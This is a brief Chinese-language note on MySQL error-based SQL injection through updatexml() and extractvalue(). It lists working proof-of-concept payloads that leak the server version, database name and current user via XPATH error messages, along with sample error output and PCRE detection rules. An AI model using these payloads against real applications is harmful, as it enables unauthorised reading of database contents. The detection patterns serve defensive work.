SQL注入-updatexml() extractvalue() 函数

msg

UPDATEXML (XML_document, XPath_string, new_value);
第一个参数：XML_document是String格式，为XML文档对象的名称，文中为Doc
第二个参数：XPath_string (Xpath格式的字符串) ，如果不了解Xpath语法，可以在网上查找教程。
第三个参数：new_value，String格式，替换查找到的符合条件的数据
作用：改变文档中符合条件的节点的值

extractvalue(目标xml文档，xml路径)

POC

1.concat连接字符串

updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
extractvalue(‘anything’,concat(‘/’,(select database())))

Q:出错原因？
A:因为updatexml() 函数第二个参数要求是Xpath格式的字符串，所以出错，正确的Xpath语法如下：

UPDATE testtableSET testxml=  Updatexml(testxml,'/Student/Class/Name[self:text()="zhangsan"]','<Name>updatename</Name>')

检测：

request  request_body
pcre:"/[^a-z](updatexml|extractvalue)[^a-z][\S]*concat[^a-z]/i"

2.其他字符串

make_set()用法
select updatexml(1,make_set(3,0x7e,(select user())),1);

select updatexml(1,lpad('@',30,(select user())),1);
ERROR 1105 (HY000): XPATH syntax error: '@localhostroot@localhostr@'

mysql> select updatexml(1,repeat((select user()),2),1);
ERROR 1105 (HY000): XPATH syntax error: '@localhostroot@localhost'

mysql> select updatexml(1,(select user()),1);
ERROR 1105 (HY000): XPATH syntax error: '@localhost'

mysql> select updatexml(1,reverse((select user())),1);
ERROR 1105 (HY000): XPATH syntax error: '@toor'

mysql> select updatexml(1,export_set(1|2,'::',(select user())),1);
ERROR 1105 (HY000): XPATH syntax error: '::,::,root@localhost,root@localh'

检测

pcre:"/(updatexml|extractvalue)[\S]*select /i"